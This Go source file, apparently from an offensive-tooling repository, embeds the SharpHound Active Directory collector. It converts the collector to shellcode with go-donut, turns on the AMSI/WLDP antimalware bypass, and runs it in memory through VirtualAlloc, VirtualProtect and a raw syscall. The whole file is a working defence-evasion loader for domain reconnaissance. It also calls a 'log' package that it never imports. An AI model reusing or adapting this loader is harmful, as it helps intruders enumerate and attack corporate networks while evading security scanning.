-
Notifications
You must be signed in to change notification settings - Fork 4
/
sharpHound_windows.go
172 lines (150 loc) · 4.25 KB
/
sharpHound_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
// +build windows
package main
import (
"bufio"
"bytes"
"context"
"embed"
"fmt"
"io"
"os"
"strings"
"syscall"
"unsafe"
"github.com/Binject/go-donut/donut"
"github.com/urfave/cli/v2"
"golang.org/x/sys/windows"
)
//go:embed embed/SharpHound.exe
var f embed.FS
func execSharpHound(ctx context.Context, c *cli.Context) error {
shArgs := []string{"--NoZip", "--OutputDirectory", c.String("bhi-target-directory")}
for _, flag := range c.FlagNames() {
if strings.HasPrefix(flag, "bhi") {
continue
}
v := c.String(flag)
// handle bool flags
// all bool flags got default value of false
if v == "true" {
shArgs = append(shArgs, "--"+flag)
continue
}
shArgs = append(shArgs, "--"+flag, v)
}
exebytes, err := f.ReadFile("embed/SharpHound.exe")
if err != nil {
return fmt.Errorf("unable to read file %w", err)
}
config := donut.DonutConfig{
Arch: donut.X84,
Type: donut.DONUT_MODULE_NET_EXE,
InstType: donut.DONUT_INSTANCE_PIC,
Entropy: donut.DONUT_ENTROPY_DEFAULT, // use symmetric encryption
Thread: 1, // run entrypoint as a thread
OEP: 0,
Runtime: "v4.0.30319",
Compress: 1, // disable
Format: 1, // output format of loader: raw/Binary
Bypass: 3, // AMSI/WLDP bypass 1=skip, 2=abort on fail, 3=continue on fail.
ExitOpt: 1, // 1=exit thread, 2=exit process
Domain: "SharpHound",
Parameters: strings.Join(shArgs, " "),
}
shellcode, err := donut.ShellcodeFromBytes(bytes.NewBuffer(exebytes), &config)
if err != nil {
return fmt.Errorf("unable to generate shellcode %v", err)
}
err = executeShellcode(shellcode.Bytes())
if err != nil {
return fmt.Errorf("Error while executing sharpHound %s", err)
}
return nil
}
func executeShellcode(shellcode []byte) error {
size := len(shellcode)
// allocate memory for shellcode
addr, err := windows.VirtualAlloc(0, uintptr(size), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
if err != nil {
return fmt.Errorf("VirtualAlloc failed %s", err)
}
defer func() {
err := windows.VirtualFree(addr, 0, windows.MEM_RELEASE)
if err != nil {
log.Errorf("VirtualFree failed %s", err)
}
}()
// copy shellcode to new memory location
for i := uintptr(0); i < uintptr(size); i++ {
*(*uint8)(unsafe.Pointer(addr + i)) = shellcode[i]
}
// convert memory to execute only
var oldprotect uint32
err = windows.VirtualProtect(addr, uintptr(size), windows.PAGE_EXECUTE, &oldprotect)
if err != nil {
return fmt.Errorf("VirtualProtect failed %s", err)
}
// To capture stdout/stdErr of syscall
stdOutR, stdOutW, err := os.Pipe()
if err != nil {
log.Errorf("unable to create pipe %s\n", err)
}
stdErrR, stdErrW, err := os.Pipe()
if err != nil {
log.Errorf("unable to create pipe %s\n", err)
}
defer func() {
stdOutR.Close()
stdErrR.Close()
}()
err = redirectStdoutAndErr(stdOutW, stdErrW)
if err != nil {
log.Errorf("unable to redirect std %s", err)
}
done := make(chan bool)
// start read syscall stdout in diff go routine
go func() {
scanner := bufio.NewScanner(stdOutR)
for scanner.Scan() {
log.Info(scanner.Text())
select {
case <-done:
return
default:
}
}
if err := scanner.Err(); err != nil {
log.Errorf("error reading syscall stdout: %s", err)
}
}()
_, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0)
// syscall generates 'The parameter is incorrect' 0x57 error
// but shellcode does execute properly
if errSyscall != 0 && errSyscall != 0x57 {
return fmt.Errorf("error executing shellcode syscall: %s", errSyscall.Error())
}
// close stdErrW write to read from stdErrR
close(done)
stdErrW.Close()
stdOutW.Close()
// read any error message generated by shellcode
errMsg, err := io.ReadAll(stdErrR)
if err != nil {
return err
}
if len(errMsg) > 0 {
return fmt.Errorf("syscall errors: %s", errMsg)
}
return nil
}
func redirectStdoutAndErr(stdOutW *os.File, stdErrW *os.File) error {
err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(stdOutW.Fd()))
if err != nil {
return fmt.Errorf("Failed to redirect stdout to file: %w", err)
}
err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(stdErrW.Fd()))
if err != nil {
return fmt.Errorf("Failed to redirect stderr to file: %w", err)
}
return nil
}